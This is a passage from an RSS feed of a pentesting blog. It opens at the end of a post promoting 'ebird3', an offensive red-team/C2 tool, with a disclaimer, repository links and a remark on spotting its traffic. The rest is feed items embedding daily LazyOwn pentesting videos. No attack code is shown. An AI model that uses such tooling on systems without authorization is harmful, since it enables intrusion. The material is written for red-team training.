4px;"&gt;notepad.exe&lt;/code&gt;&amp;nbsp;with a legit User-Agent&lt;/li&gt;&lt;/ul&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="689e" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;If you see that?&lt;br style="box-sizing: inherit;" /&gt;You’ve been ebird3’d.&lt;/p&gt;&lt;h1 class="nq nr fr bf ns nt nu nv nw nx ny nz oa ob oc od oe of og oh oi oj ok ol om on bk" data-selectable-paragraph="" id="264a" style="background-color: white; box-sizing: inherit; color: #242424; font-family: sohne, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 24px; letter-spacing: -0.016em; line-height: 30px; margin: 1.95em 0px -0.28em;"&gt;⚠️ Disclaimer (Because Lawyers Exist)&lt;/h1&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf oo mh mi mj op ml mm mn oq mp mq mr or mt mu mv os mx my mz fk bk" data-selectable-paragraph="" id="1b7b" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 0.94em 0px -0.46em; word-break: break-word;"&gt;This tool is released under GPLv3 and is for educational and ethical red teaming purposes only.&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="2503" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;Do not use it on systems you don’t own or have explicit permission to test.&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="2dfb" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;Misuse may result in:&lt;/p&gt;&lt;ul class="" style="background-color: white; box-sizing: inherit; color: rgba(0, 0, 0, 0.8); font-family: medium-content-sans-serif-font, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; list-style: none none; margin: 0px; padding: 0px;"&gt;&lt;li class="mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz ne nf ng bk" data-selectable-paragraph="" id="a4ae" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 2.14em; padding-left: 0px;"&gt;Getting fired&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="f854" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;Getting sued&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="e260" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;Getting haunted by the ghost of Linus Torvalds (he’s&amp;nbsp;&lt;em class="na" style="box-sizing: inherit;"&gt;very&lt;/em&gt;&amp;nbsp;serious about licenses)&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="ec99" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;Your calculator developing self-awareness&lt;/li&gt;&lt;/ul&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="e165" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;I assume zero liability. You’re on your own, cowboy.&lt;/p&gt;&lt;h1 class="nq nr fr bf ns nt nu nv nw nx ny nz oa ob oc od oe of og oh oi oj ok ol om on bk" data-selectable-paragraph="" id="a329" style="background-color: white; box-sizing: inherit; color: #242424; font-family: sohne, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 24px; letter-spacing: -0.016em; line-height: 30px; margin: 1.95em 0px -0.28em;"&gt;&#128279; Links (Because Sharing Is Caring)&lt;/h1&gt;&lt;ul class="" style="background-color: white; box-sizing: inherit; color: rgba(0, 0, 0, 0.8); font-family: medium-content-sans-serif-font, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; list-style: none none; margin: 0px; padding: 0px;"&gt;&lt;li class="mc md fr me b mf oo mh mi mj op ml mm mn oq mp mq mr or mt mu mv os mx my mz ne nf ng bk" data-selectable-paragraph="" id="6b12" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 0.94em; padding-left: 0px;"&gt;&#128025; GitHub:&amp;nbsp;&lt;a class="ag ot" href="https://github.com/grisuno/ebird3" rel="noopener ugc nofollow" style="-webkit-tap-highlight-color: transparent; box-sizing: inherit;" target="_blank"&gt;https://github.com/grisuno/ebird3&lt;/a&gt;&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="1a00" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;&#128025; DeepWiki:&amp;nbsp;&lt;a class="ag ot" href="https://deepwiki.com/grisuno/ebird3" rel="noopener ugc nofollow" style="-webkit-tap-highlight-color: transparent; box-sizing: inherit;" target="_blank"&gt;https://deepwiki.com/grisuno/ebird3&lt;/a&gt;&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="fbfa" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;&#129504; LazyOwn Framework:&amp;nbsp;&lt;a class="ag ot" href="https://github.com/grisuno/LazyOwn" rel="noopener ugc nofollow" style="-webkit-tap-highlight-color: transparent; box-sizing: inherit;" target="_blank"&gt;https://github.com/grisuno/LazyOwn&lt;/a&gt;&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="bab2" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;&#129302; ShadowLink:&amp;nbsp;&lt;a class="ag ot" href="https://github.com/grisuno/ShadowLink" rel="noopener ugc nofollow" style="-webkit-tap-highlight-color: transparent; box-sizing: inherit;" target="_blank"&gt;https://github.com/grisuno/ShadowLink&lt;/a&gt;&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="3d9a" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;&#128172; Discord:&amp;nbsp;&lt;a class="ag ot" href="https://discord.gg/V3usU8yH" rel="noopener ugc nofollow" style="-webkit-tap-highlight-color: transparent; box-sizing: inherit;" target="_blank"&gt;https://discord.gg/V3usU8yH&lt;/a&gt;&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="ef8c" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;&#127760; Web:&amp;nbsp;&lt;a class="ag ot" href="https://grisuno.github.io/LazyOwn/" rel="noopener ugc nofollow" style="-webkit-tap-highlight-color: transparent; box-sizing: inherit;" target="_blank"&gt;https://grisuno.github.io/LazyOwn/&lt;/a&gt;&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="e689" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;&#129489;‍&#128187; HackTheBox:&amp;nbsp;&lt;a class="ag ot" href="https://app.hackthebox.com/users/1998024" rel="noopener ugc nofollow" style="-webkit-tap-highlight-color: transparent; box-sizing: inherit;" target="_blank"&gt;https://app.hackthebox.com/users/1998024&lt;/a&gt;&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="36a8" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;☕ Ko-fi:&amp;nbsp;&lt;a class="ag ot" href="https://ko-fi.com/Y8Y2Z73AV" rel="noopener ugc nofollow" style="-webkit-tap-highlight-color: transparent; box-sizing: inherit;" target="_blank"&gt;https://ko-fi.com/Y8Y2Z73AV&amp;nbsp;&lt;/a&gt;&lt;em class="na" style="box-sizing: inherit;"&gt;(Buy me coffee. I’ll use it to fund more questionable decisions.)&lt;/em&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h1 class="nq nr fr bf ns nt nu nv nw nx ny nz oa ob oc od oe of og oh oi oj ok ol om on bk" data-selectable-paragraph="" id="dfc4" style="background-color: white; box-sizing: inherit; color: #242424; font-family: sohne, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 24px; letter-spacing: -0.016em; line-height: 30px; margin: 1.95em 0px -0.28em;"&gt;&#128282; Final Thoughts: Stay Sharp, Stay Sneaky, and Never Trust a Calculator&lt;/h1&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf oo mh mi mj op ml mm mn oq mp mq mr or mt mu mv os mx my mz fk bk" data-selectable-paragraph="" id="3e1b" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 0.94em 0px -0.46em; word-break: break-word;"&gt;Tools like&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;ebird3&lt;/code&gt;&amp;nbsp;exist to help us understand the battlefield.&lt;br style="box-sizing: inherit;" /&gt;To train blue teams.&lt;br style="box-sizing: inherit;" /&gt;To test defenses.&lt;br style="box-sizing: inherit;" /&gt;And yes—to make&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;calc.exe&lt;/code&gt;&amp;nbsp;do things it was never meant to do.&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="7197" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;So go forth.&lt;br style="box-sizing: inherit;" /&gt;Learn.&lt;br style="box-sizing: inherit;" /&gt;Test.&lt;br style="box-sizing: inherit;" /&gt;Break things (ethically).&lt;br style="box-sizing: inherit;" /&gt;And remember:&lt;/p&gt;&lt;blockquote class="nb nc nd" style="background-color: white; box-shadow: rgb(36, 36, 36) 3px 0px 0px 0px inset; box-sizing: inherit; color: rgba(0, 0, 0, 0.8); font-family: medium-content-sans-serif-font, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; margin: 0px 0px 0px -20px; padding-left: 23px;"&gt;&lt;p class="mc md na me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="331a" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; font-style: italic; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;&lt;span class="fr" style="box-sizing: inherit; font-style: normal;"&gt;The best security is the kind that makes you question whether your calculator is judging you.&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="9c7b" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;&#128272;&amp;nbsp;&lt;em class="na" style="box-sizing: inherit;"&gt;grisun0, signing off — from my C2 server, probably running inside your printer.&lt;/em&gt;&lt;/p&gt;&lt;/div&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/geMEpjAcKIE/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Day 45 of 365: Mastering Pentesting with LazyOwn RedTeam - Daily Command...</title><link>http://grisunder.blogspot.com/2025/08/day-45-of-365-mastering-pentesting-with.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Sat, 9 Aug 2025 22:17:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-8911221859148248193</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/utiQ3QDFtvU?si=Oag8i9hm1XMR0Ahm" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/utiQ3QDFtvU/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Day 42 of 365: Mastering Pentesting with LazyOwn RedTeam - Daily Command...</title><link>http://grisunder.blogspot.com/2025/07/day-42-of-365-mastering-pentesting-with.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Thu, 31 Jul 2025 20:29:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-4344981909174415936</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/kPZvVV_RNIE?si=AGbqhA7f9Ni8tsl9" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/kPZvVV_RNIE/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Day 41 of 365: Mastering Pentesting with LazyOwn RedTeam - Daily Command...</title><link>http://grisunder.blogspot.com/2025/07/day-41-of-365-mastering-pentesting-with.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Wed, 30 Jul 2025 19:08:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-343008544880269280</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/LORwjMOYhQk?si=1tqR71g7fnMpiA4P" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/LORwjMOYhQk/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Day 34 of 365: Mastering Pentesting with LazyOwn RedTeam - Daily Command...</title><link>http://grisunder.blogspot.com/2025/06/day-34-of-365-mastering-pentesting-with.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Sat, 14 Jun 2025 00:27:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-8551848668935348249</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/inZeWr4m4q4?si=bGCb0_3f27_VErqK" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/inZeWr4m4q4/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Day 32 of 365: Mastering Pentesting with LazyOwn RedTeam - Daily Command...</title><link>http://grisunder.blogspot.com/2025/06/day-32-of-365-mastering-pentesting-with.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Mon, 9 Jun 2025 22:46:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-239586284599453484</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/EgnLgT5wvw8?si=jwPbu2fJIquzsK7H" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/EgnLgT5wvw8/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Day 31 of 365: Mastering Pentesting with LazyOwn RedTeam - Daily Command...</title><link>http://grisunder.blogspot.com/2025/06/day-31-of-365-mastering-pentesting-with.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Sun, 8 Jun 2025 22:22:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-7515068434551221757</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/VbgSlvF-sbY?si=99oI_vDhrrreJSSA" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/VbgSlvF-sbY/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Day 30 of 365: Mastering Pentesting with LazyOwn RedTeam - Daily Command...</title><link>http://grisunder.blogspot.com/2025/06/day-30-of-365-mastering-pentesting-with.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Wed, 4 Jun 2025 23:03:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-8957959391847281182</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/pVAbabAL9uQ?si=ovJqARL2hCSINJU7" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/pVAbabAL9uQ/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item></channel></rss>